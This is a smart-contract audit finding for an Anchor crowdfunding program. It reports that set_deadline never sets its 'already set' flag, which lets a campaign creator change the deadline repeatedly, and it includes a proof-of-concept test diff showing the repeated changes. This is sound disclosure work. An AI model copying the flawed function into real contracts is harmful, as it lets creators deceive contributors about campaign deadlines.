Summary
any creator can set their own fund campaign deadline multiple times
Vulnerability Details
lib.rs#L55-L63
pub fn set_deadline(ctx: Context<FundSetDeadline>, deadline: u64) -> Result<()> {
let fund = &mut ctx.accounts.fund;
if fund.dealine_set {
return Err(ErrorCode::DeadlineAlreadySet.into());
}
fund.deadline = deadline;
Ok(())
}
the function set_deadline
only set the deadline but does not set the flag dealine_set
to true, making the check if deadline already set redundant
for PoC, applied the diff:
@@ -64,6 +64,28 @@ describe("rustfund", () => {
});
+ it("PoC: Sets a deadline multiple times", async () => {
+ // Set deadline again after the first one
+ const newDeadline = new anchor.BN(Math.floor(Date.now() / 1000) + 24*7*60*60); // 1 week from now
+ await program.methods.setDeadline(newDeadline).accounts({
+ fund: fundPDA,
+ creator: creator.publicKey,
+ }).rpc();
+
+ const fund = await program.account.fund.fetch(fundPDA);
+ console.log("fundDeadline after second set", fund.deadline);
+
+ // Set deadline again after the second one
+ // set back to 10 second from now again (first value from the test)
+ await program.methods.setDeadline(deadline).accounts({
+ fund: fundPDA,
+ creator: creator.publicKey,
+ }).rpc();
+
+ const fundAfter = await program.account.fund.fetch(fundPDA);
+ console.log("fundDeadline after third set", fundAfter.deadline);
+ });
+
it("Contributes to fund", async () => {
// Generate PDA for contribution
[contributionPDA, contributionBump] = await PublicKey.findProgramAddress(
then run anchor test
the result would show the deadline changes:
fundDeadline after second set <BN: 67e95283>
fundDeadline after third set <BN: 67e0180c>
✔ PoC: Sets a deadline multiple times (811ms)
Impact
creator can extend their deadline multiple times, confusing and deceiving user
Tools Used
manual review
Recommendations
properly set the flag deadline_set
to true after set_deadline
are called first time